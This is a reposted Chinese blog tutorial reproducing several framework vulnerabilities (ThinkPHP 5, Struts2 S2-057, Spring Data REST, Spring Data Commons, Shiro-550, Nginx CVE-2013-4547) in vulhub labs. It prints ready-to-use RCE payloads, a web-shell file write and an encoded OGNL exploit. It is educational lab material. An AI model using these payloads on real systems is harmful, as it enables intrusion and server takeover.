自学内容网 自学内容网

常见的框架漏洞

一.Thinkphp5x远程命令执⾏及getshell

环境配置
kali: 172.16.1.4
靶场:vulhub/thinkphp/5-rce
docker-compose up -d #启动环境访问靶场:http://172.16.1.4:8080/index.php

远程命令执行
POC:

s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whomi

远程代码执行
POC:

s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[][]=-1

getshell

POC:s=index/think\app/invokefunction&function=call_user _func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php
根目录生成1.php 文件,输出phpinfo 

二.S2-057远程执⾏代码漏洞

环境
kali vulhub靶场 /struts2/s2-057

访问靶机

在url处输入 http://172.16.1.73:8080/struts2-showcase/${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了。 

将上面验证payload的值修改为我们的利用exp

/struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

三.Spring Data Rest 远程命令执行命令(CVE-2017-8046)

1.访问 http://your-ip:8080/customers/1,然后抓取数据包,使用PATCH请求来修改

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept:*/*
Accept-Language:en
User-Agent: Mozilla/5.0 (compatible; MSlE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+jsonContent-Length:202

[{ "op": "replace", "path": "T(java.ang.Runtime).getRuntime().exec(new java.lang.String(newbyte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname","value":"'vulhub" }]

其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101 115 115}表示的命令 touch /tmp/success里面的数字是ascii码

四.spring 代码执行(CVE-2018-1273)

访问靶场地址:http://172.16.1.73:8080/users

填写注册信息,bp抓包

加 上 poc :

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t ouch /tmp/crz")]=&password=&repeatedPassword= 

  

五.Shiro rememberMe反序列化漏洞(Shiro-550)

环境 vulhub 靶场 /shiro/CVE-2016-4437

利⽤⼯具,命令执⾏: shiro_attack⼯具:https://github.com/j1anFen/shiro_attack

六.⽂件名逻辑漏洞(CVE-2013-4547)

访问靶场

创建 1.jpg ⽂件,并上传 抓包,在该⽂件名最后添加⼀个空格

上传成功后,浏览器访问 http://192.168.56.134:8080/uploadfiles/1.jpg...php, 将2e,2e,2e修改为20,00,2e,发包: 

 


原文地址:https://blog.csdn.net/m0_75036923/article/details/142450409

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!